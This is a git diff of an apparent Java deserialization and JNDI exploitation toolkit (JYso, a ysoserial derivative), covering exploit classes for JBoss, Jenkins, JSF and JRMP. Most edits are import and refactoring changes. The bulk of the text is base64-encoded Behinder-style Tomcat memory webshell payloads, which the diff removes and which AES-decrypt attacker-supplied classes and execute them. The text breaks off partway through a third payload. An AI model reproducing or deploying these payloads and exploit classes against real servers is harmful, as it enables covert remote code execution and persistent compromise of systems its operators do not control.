diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index bd7b48e..dad554b 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -1,6 +1,6 @@ package com.qi4l.JYso; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.ObjectPayload; import org.apache.commons.collections4.map.CaseInsensitiveMap; diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index 1b18b1f..d418aea 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -102,7 +102,6 @@ public class BasicController implements LdapController { } if (payloadType.contains("M-")) { - InjShell.init(params); return Gadgets.createClassB(suffixAfterDash(payloadType)); } diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java index 2ddbfea..fabc39f 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -94,7 +94,6 @@ public class ELProcessorController implements LdapController { Class echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); scriptBody = InjShell.injectClass(echoClass); } else if (payloadType.contains("M-")) { - InjShell.init(params); scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType)); } else if (payloadType.contains("command")) { scriptBody = helper.getExecCode(params[0]); diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java index a65fcf8..ca83716 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -36,8 +36,8 @@ public class SerializedDataController implements LdapController { byte[] bytes; try { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); - ObjectPayload payload = payloadClass.newInstance(); + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); + ObjectPayload payload = payloadClass.newInstance(); Object object = payload.getObject(params); if (SerializedDataController.gadgetType.equals("JRE8u20")) { diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java index 8c54507..ac7a109 100644 --- a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java +++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.controllers; -import com.qi4l.JYso.enumtypes.PayloadType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; @@ -17,7 +16,6 @@ import javax.naming.StringRefAddr; @LdapMapping(uri = {"/xstream"}) public class XStreamController implements LdapController { - private PayloadType type; private String[] params; @Override @@ -81,12 +79,6 @@ public class XStreamController implements LdapController { String payloadType = base.substring(firstIndex + 1, secondIndex); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - if (payloadType.equalsIgnoreCase("command")) { - type = PayloadType.valueOf("command"); - //System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); - } else { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); - } String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java index 8471dd6..a8e15e3 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JBoss.java +++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; import org.jboss.remoting3.*; import org.jboss.remoting3.Connection; @@ -256,7 +256,7 @@ public class JBoss { int c_start = msg.indexOf(':'); int c_end = msg.indexOf(' ', c_start + 2); String cls = msg.substring(c_start + 2, c_end); - System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")"); } } else { System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java index 2cc30a0..864ddd0 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import javax.management.MBeanServerConnection; import javax.management.ObjectName; diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java index 92be575..ae570bd 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import sun.rmi.transport.TransportConstants; import javax.net.SocketFactory; diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 7f18ee6..0fc562b 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassClassPath; import javassist.ClassPool; diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java index 2cc3aec..afc08fe 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JSF.java +++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java index 0cf984f..8929583 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; import hudson.remoting.Channel; diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index cc64092..ec89c00 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.JRMPListener; import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java index 27c8870..2b51e64 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.exploit; -import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.JRMPClient; import hudson.remoting.Channel; import org.slf4j.Logger; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 2851de6..4e378a6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -127,8 +127,10 @@ public class Config { KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload"); } + @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"}) public static void applyCmdArgs(String[] args) { //process cmd args + JCommander jc = JCommander.newBuilder() .addObject(new Config()) .build(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java b/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java deleted file mode 100644 index b825766..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java +++ /dev/null @@ -1,22 +0,0 @@ -package com.qi4l.JYso.gadgets.Config; - -import java.util.ArrayList; - -public class HookPointConfig { - - public static ArrayList BasicServletHook = new ArrayList<>(); - - public static ArrayList TomcatFilterChainHook = new ArrayList<>(); - - - static { - BasicServletHook.add("javax.servlet.http.HttpServlet"); - BasicServletHook.add("service"); - BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); - - TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain"); - TomcatFilterChainHook.add("doFilter"); - TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); - } - -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java index e680a23..f843fb4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java @@ -1,46 +1,6 @@ package com.qi4l.JYso.gadgets.Config; public class MemShellPayloads { - public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; - - public static String BEHINDER_SHELL_FOR_TOMCAT = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; - - public static String BEHINDER_SHELL = 